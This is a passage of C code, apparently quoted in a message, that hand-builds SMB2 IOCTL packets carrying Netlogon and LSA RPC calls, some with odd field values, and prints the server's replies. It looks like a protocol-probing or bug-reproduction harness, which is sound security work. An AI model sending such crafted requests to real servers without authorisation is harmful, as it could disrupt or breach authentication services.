*(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_LogonSamLogon(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x02; // opnum LogonSamLogon > ii += 2; > > *(int*)(buf+ii) = 16; // _ptr_server_name > ii += 4; > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 16; // _ptr_computer_name > ii += 4; > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 16; // _ptr_credential > ii += 4; > // credential, an Authenticator > buf[ii] = 0x39; > buf[ii+1] = 0x30; > buf[ii+4] = 0x02; > ii += 8; > *(int*)(buf+ii) = 12345; // timestamp > ii += 4; > > *(int*)(buf+ii) = 16; // _ptr_return_authenticator > ii += 4; > // return_authenticator, an Authenticator > ii += 8; > *(int*)(buf+ii) = 12345; // timestamp > ii += 4; > > *(short*)(buf+ii) = 1; // logon_level > ii += 2; > *(short*)(buf+ii) = 1; // logon_level > ii += 2; > > *(int*)(buf+ii) = 8; // _ptr_password > ii += 4; > // identity_info > // domain_name > *(short*)(buf+ii) = 10; // length > ii += 2; > *(short*)(buf+ii) = 10; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > *(int*)(buf+ii) = 0; // parameter_control > ii += 4; > *(long*)(buf+ii) = 0; // logon_id > ii += 8; > // account_name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > // workstation > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > // lmpassword > buf[ii] = 0x31; > buf[ii+1] = 0x32; > ii += 16; > // ntpassword > buf[ii] = 0x41; > buf[ii+1] = 0x42; > ii += 16; > // domain_name >#if 1 > *(int*)(buf+ii) = 5; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 5; // length > ii += 4; > buf[ii++] = 'Z'; > buf[ii++] = 0; > buf[ii++] = 'I'; > buf[ii++] = 0; > buf[ii++] = 'K'; > buf[ii++] = 0; > buf[ii++] = 'A'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; >#else > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = '.'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; >#endif > while(ii % 4) > ii++; > // account_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'z'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > // workstation > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(short*)(buf+ii) = 3; // validation_level > ii += 2; > > ii += 128; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc LogonSamLogon writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc LogonSamLogon response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_LogonControl2Ex(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x12; // opnum LogonControl2Ex > ii += 2; > > *(int*)(buf+ii) = 16; // _ptr_server_name > ii += 4; > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 0xfffe; // function_code NETLOGON_CONTROL_SET_DBFLAG > ii += 4; > > *(int*)(buf+ii) = 4; // level > ii += 4; > *(int*)(buf+ii) = 0xfffe; // _level > ii += 4; > > *(int*)(buf+ii) = 0x12345678; > ii += 4; > *(int*)(buf+ii) = 0xdeadbeef; > ii += 4; > > ii += 64; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc LogonControl2Ex writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc LogonControl2Ex response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_ServerAuthenticate3(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x1a; // opnum ServerAuthenticate3 > ii += 2; > > *(int*)(buf+ii) = 16; // _ptr_server_name > ii += 4; > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // account_name > *(int*)(buf+ii) = 3; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 3; // length > ii += 4; > buf[ii++] = 'z'; > buf[ii++] = 0; > buf[ii++] = '$'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // secure_channel_type > *(short*)(buf+ii) = 0; > ii += 2; > > while(ii % 4) > ii++; > > // computer_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > //*(int*)(buf+ii) = 16; // _ptr_credential > //ii += 4; > // credential, an Authenticator > buf[ii+4] = 2; // ??? see netlogon_creds_server_check_internal() > ii += 8; > *(int*)(buf+ii) = 12345; // timestamp > ii += 4; > > *(int*)(buf+ii) = 0; // negotiate_flags > ii += 4; > > > *(int*)(buf+ii) = 16; // _ptr_return_authenticator > ii += 4; > // return_authenticator, an Authenticator > ii += 8; > *(int*)(buf+ii) = 12345; // timestamp > ii += 4; > > *(short*)(buf+ii) = 1; // logon_level > ii += 2; > *(short*)(buf+ii) = 1; // logon_level > ii += 2; > > *(int*)(buf+ii) = 8; // _ptr_password > ii += 4; > // identity_info > // domain_name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > *(int*)(buf+ii) = 0; // parameter_control > ii += 4; > *(long*)(buf+ii) = 0; // logon_id > ii += 8; > // account_name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > // workstation > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > // lmpassword > ii += 16; > // ntpassword > ii += 16; > // domain_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > // account_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'z'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > // workstation > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(short*)(buf+ii) = 3; // validation_level > ii += 2; > > ii += 128; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc ServerAuthenticate3 writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc ServerAuthenticate3 response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >smb_ioctl_rpc_ServerReqChallenge(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x04; // opnum ServerReqChallenge > ii += 2; > > *(int*)(buf+ii) = 16; // _ptr_server_name > ii += 4; > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // account_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'z'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // secure_channel_type > *(short*)(buf+ii) = 0; > ii += 2; > > while(ii % 4) > ii++; > > // computer_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(int*)(buf+ii) = 16; // _ptr_credential > ii += 4; > // credential, an Authenticator > ii += 8; > *(int*)(buf+ii) = 12345; // timestamp > ii += 4; > > *(int*)(buf+ii) = 0; // negotiate_flags > ii += 4; > > > *(int*)(buf+ii) = 16; // _ptr_return_authenticator > ii += 4; > // return_authenticator, an Authenticator > ii += 8; > *(int*)(buf+ii) = 12345; // timestamp > ii += 4; > > *(short*)(buf+ii) = 1; // logon_level > ii += 2; > *(short*)(buf+ii) = 1; // logon_level > ii += 2; > > *(int*)(buf+ii) = 8; // _ptr_password > ii += 4; > // identity_info > // domain_name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > *(int*)(buf+ii) = 0; // parameter_control > ii += 4; > *(long*)(buf+ii) = 0; // logon_id > ii += 8; > // account_name > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > // workstation > *(short*)(buf+ii) = 4; // length > ii += 2; > *(short*)(buf+ii) = 4; // size > ii += 2; > *(int*)(buf+ii) = 2; // _ptr_string > ii += 4; > // lmpassword > ii += 16; > // ntpassword > ii += 16; > // domain_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > // account_name > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'z'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > // workstation > *(int*)(buf+ii) = 2; // size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > *(short*)(buf+ii) = 3; // validation_level > ii += 2; > > ii += 128; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc ServerReqChallenge writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc ServerReqChallenge response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >char lsa_handle[20]; > >void >smb_ioctl_rpc_lsa_OpenPolicy2(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x2c; // opnum, 0x2c=OpenPolicy2 > ii += 2; > > int ii1 = ii; > > *(int*)(buf+ii) = 1; // _ptr_system_name > ii += 4; > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > // ObjectAttribute > *(int*)(buf+ii) = 1; // len > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_root_dir > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_object_name > ii += 4; > *(int*)(buf+ii) = 0xffffffff; // attributes > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_sec_desc > ii += 4; > *(int*)(buf+ii) = 1; // _ptr_sec_qos > ii += 4; > > ii += 4; // root_dir? > > // object_name > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > > ii = ii1 + 92; // access_mask > *(long *)(buf + ii) = 0x02000000; > ii += 4; > > ii += 128; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc OpenPolicy2 writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc OpenPolicy2 response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > //for(int i = 0; i < cc; i++) > // printf("%02x ", buf[i] & 0xff); > //printf("\n"); > memcpy(lsa_handle, buf + cc - 24, 20); > printf("lsa_handle: "); > for(int i = 0; i < 20; i++) > printf("%02x ", lsa_handle[i] & 0xff); > printf("\n"); > } >} > >void >smb_ioctl_rpc_lsa_SetInfoPolicy(int do_sym) >{ > // SMB2 IOCTL, MS-SMB2 2.2.31 > char buf[512]; > memset(buf, 0, sizeof(buf)); > > int ii = header(buf, 0x000B); > > *(short*)(buf+ii) = 57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > > *(short*)(buf+ii) = 0x08; // opnum, 0x08=SetInfoPolicy > ii += 2; > > memcpy(buf + ii, lsa_handle, sizeof(lsa_handle)); > ii += sizeof(lsa_handle); > > int ii1 = ii; > > *(short*)(buf+ii) = 1; // level > ii += 2; > *(short*)(buf+ii) = 1; // level > ii += 2; > > while(ii % 8) > ii++; > > *(int*)(buf+ii) = 1; // _ptr_system_name > ii += 4; > *(int*)(buf+ii) = 2; // array_size > ii += 4; > *(int*)(buf+ii) = 0; // offset > ii += 4; > *(int*)(buf+ii) = 2; // length > ii += 4; > buf[ii++] = 'x'; > buf[ii++] = 0; > buf[ii++] = 0; > buf[ii++] = 0; > 